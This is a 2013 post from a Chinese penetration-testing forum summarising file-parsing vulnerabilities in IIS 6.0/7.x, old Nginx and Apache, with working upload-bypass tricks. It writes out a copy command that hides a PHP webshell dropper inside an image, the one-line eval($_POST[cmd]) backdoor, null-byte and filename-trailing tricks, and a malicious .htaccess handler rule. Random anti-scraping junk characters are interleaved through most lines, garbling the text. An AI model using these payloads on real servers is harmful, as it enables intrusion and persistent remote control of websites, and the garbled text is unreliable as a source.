中国网络渗透测试联盟

标题: 常见服务器解析漏洞总结 [打印本页]

作者: admin    时间: 2013-4-19 19:14
标题: 常见服务器解析漏洞总结
Author : laterain: J5 U" I: H( }3 h# B' @2 W
[+]IIS6.0
& x9 T& V% {0 m; w+ E ) C. c) _* J$ k, D7 f
目录解析:/xx.asp/xx.jpg
4 v4 _4 l! X1 \ xx.jpg 可替换为任意文本文件(e.g. xx.txt),文本内容为后门代码
1 d. j- g8 q! X4 @# K IIS6.0 会将 xx.jpg 解析为 asp 文件。! u' i, I7 H* C7 M7 M
后缀解析:/xx.asp;.jpg     
7 h1 L6 ~# q) N/ l+ ~) t' t1 B IIS6.0 都会把此类后缀文件成功解析为 asp 文件。, x6 Y- F( b; E* u8 P$ S
默认解析:/xx.asa
4 Q6 k  n; I: q3 ^; v0 d& I: E2 W+ M         /xx.cer
+ X: k  ]; Y0 D! j+ d         /xx.cdx5 T' J$ Q, m2 E, r$ g
IIS6.0 默认的可执行文件除了 asp 还包含这三种
8 b$ K) C7 R6 [% w" X$ s1 m( M0 [ 此处可联系利用目录解析漏洞 ! _4 f9 l+ f; p4 D7 I  b& m
/xx.asa/xx.jpg 或 /xx.cer/xx.jpg 或 xx.asa;.jpg
! m1 U0 r4 W$ X[+]IIS 7.0/IIS 7.5/Nginx <0.8.03
+ O7 ]; `5 u7 ]4 r4 n
( R3 x. p4 ]- ], [8 ]& }$ j  C IIS 7.0/IIS 7.5/Nginx <0.8.03
3 t! A8 ?2 C1 z% C% q 在默认Fast-CGI开启状况下,在一个文件路径(/xx.jpg)后面" h( j, |% a: b' {) g, f
加上/xx.php,会将 /xx.jpg/xx.php 解析为 php 文件。3 T: r9 W- I9 E* n8 y6 e
常用利用方法:
# k3 ]& L2 @+ c3 E$ y- R: ?" M/ | 将一张图和一个写入后门代码的文本文件合并将恶意文本0 Q( T( ~. L3 E  w  B/ Q" G  y
写入图片的二进制代码之后,避免破坏图片文件头和尾
0 l8 G% \1 D0 \- C 如:$ P- w3 m. H: {: e
copy xx.jpg /b + yy.txt/a xy.jpg
) g  I; y2 A# M2 {( V #########################################################
( j! L: T7 Z* `. l: d /b 即二进制[binary]模式
' I2 W& w7 J! |8 @( R, G /a 即ascii模式
, k% e  U/ J6 w+ E; e7 _ xx.jpg 正常图片文件& d0 t' {  p) \) y
yy.txt 内容 <?PHP fputs(fopen('shell.php','w'),
# O8 x$ V2 y- L '<?php eval($_POST[cmd])?>');?>' F& k( Q! r2 c. G* W! j8 ]
意思为写入一个内容为 <?php eval($_POST[cmd])?> 名称$ ~. y/ E0 I  Z, x/ l
为shell.php的文件8 b7 k# n+ v" y* F
###########################################################' e/ h3 G! S9 e# v) V) }  P; J
找个地方上传 xy.jpg ,然后找到 xy.jpg 的地址,在地址后加上 /xx.php 6 S1 d. ^- |1 L1 i* Z: ?
即可执行恶意文本。然后就在图片目录下生成一句话木马 shell.php & ]7 R- c5 ~( M' l
密码 cmd2 m) x  U/ _( c) _
[+]Nginx <0.8.03& q  [2 Y' M5 L6 o0 q  d8 }

, q( E0 v5 Y* W% o# K8 E 在Fast-CGI关闭的情况下,Nginx <0.8.03依然存在解析漏洞
7 P8 s0 S* w& k6 y7 [5 C- R  q- X1 Z 在一个文件路径(/xx.jpg)后面加上%00.php
( A, w9 n6 U* z$ ^+ n 会将 /xx.jpg%00.php 解析为 php 文件。1 N2 n, V2 N$ {+ |. r! n7 P# Z/ G4 j2 _
[+]Apache<0.8.03
  k) J/ L3 [9 w) ?
) ~$ v# e% }6 A" D! [- j 后缀解析:test.php.x1.x2.x3, J3 n5 B( Z% e
Apache将从右至左开始判断后缀,若x3非可识别后缀,
5 m0 ~% ?. W/ _1 I3 |! P 再判断x2,直到找到可识别后缀为止,然后将该可识别
9 O5 T( @2 A- p" O$ X' T4 t 后缀进解析test.php.x1.x2.x3 则会被解析为php
! V' |5 n& j/ x+ X& g1 u1 W) g) \ 经验之谈:php|php3|phtml 多可被Apache解析。1 |% k; r7 h' I, Q, B
[+]其他一些可利用的0 v& c0 }7 k0 v; Z% l- X0 c; H& z, X

3 q3 R( _2 B! c在windows环境下,xx.jpg[空格] 或xx.jpg. 这两类文件都是不允许存在的9 X3 R# h5 f- U  P, H3 u8 G
若这样命名,windows会默认除去空格或点,这也是可以被利用的!2 s0 C) }# G3 n5 J1 H
在向一台windows主机上传数据时,你可以抓包修改文件名,在后面加个空格2 w, b, U' h) x' q
或点,试图绕过黑名单,若上传成功,最后的点或空格都会被消除,这样就可
2 }) _% T  Y8 w# F得到shell。我记得Fck Php 2.6就存在加空格绕过的漏洞。/ Z/ o# v1 o1 d% Y6 S1 P( a1 H8 X
{Linux主机中不行,Linux允许这类文件存在}
4 |$ Q1 v6 {& A如果在Apache中.htaccess可被执行(默认不执行,这是90sec里的一位朋友说2 A# d2 ~+ _2 W; C% [9 ^
的,当初我并不知道),且可以被上传,那可以尝试在
7 a- n+ g8 K+ q! W: _.htaccess中写入:1 s% i+ B: v- P! T- @& _$ ]
<FilesMatch “shell.jpg”>
" f7 s6 k% ^  W* C: ]) rSetHandler application/x-httpd-php
( ~/ M; S) w$ T</FilesMatch>( I1 b) d) O; M* u
shell.jpg换成你上传的文件,这样shell.jpg就可解析为php文件% M4 K8 i. h- N/ E" e& W7 Z
[+]错误修改
9 @9 G2 p; R+ O$ F0 S
9 H4 L. I! v# b- Y! e3 @6 e, J在 IIS 6.0 下可解析 /xx.asp:.jpg
6 N  l# t$ V4 ]{/xx.asp:.jpg 此类文件在Windows下不允许存在,:.jpg被自动除去; t$ Z/ _- m0 j
剩下/xx.asp}修改:
  a7 H6 E$ ~$ W& H4 v2 U先谢谢核攻击的提醒
1 E* `3 k( N5 @  h# i& Y5 E( A4 l当上传一个/xx.asp:.jpg文件时,的确:.jpg会消失,但是现在的/xx.asp" k% P. Q3 ]9 g; Z
里是没有任何内容的,因为。。不好解释 大家自己看
) y$ P" W9 Q$ D  x% H! ahttp://lcx.cc/?i=24485 s  W$ |# Y* I$ U( [6 |
http://baike.baidu.com/view/3619593.htm2 B7 ~5 N7 f' a/ S5 z! M6 ~! |

: ?. j) r6 `5 X3 C




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2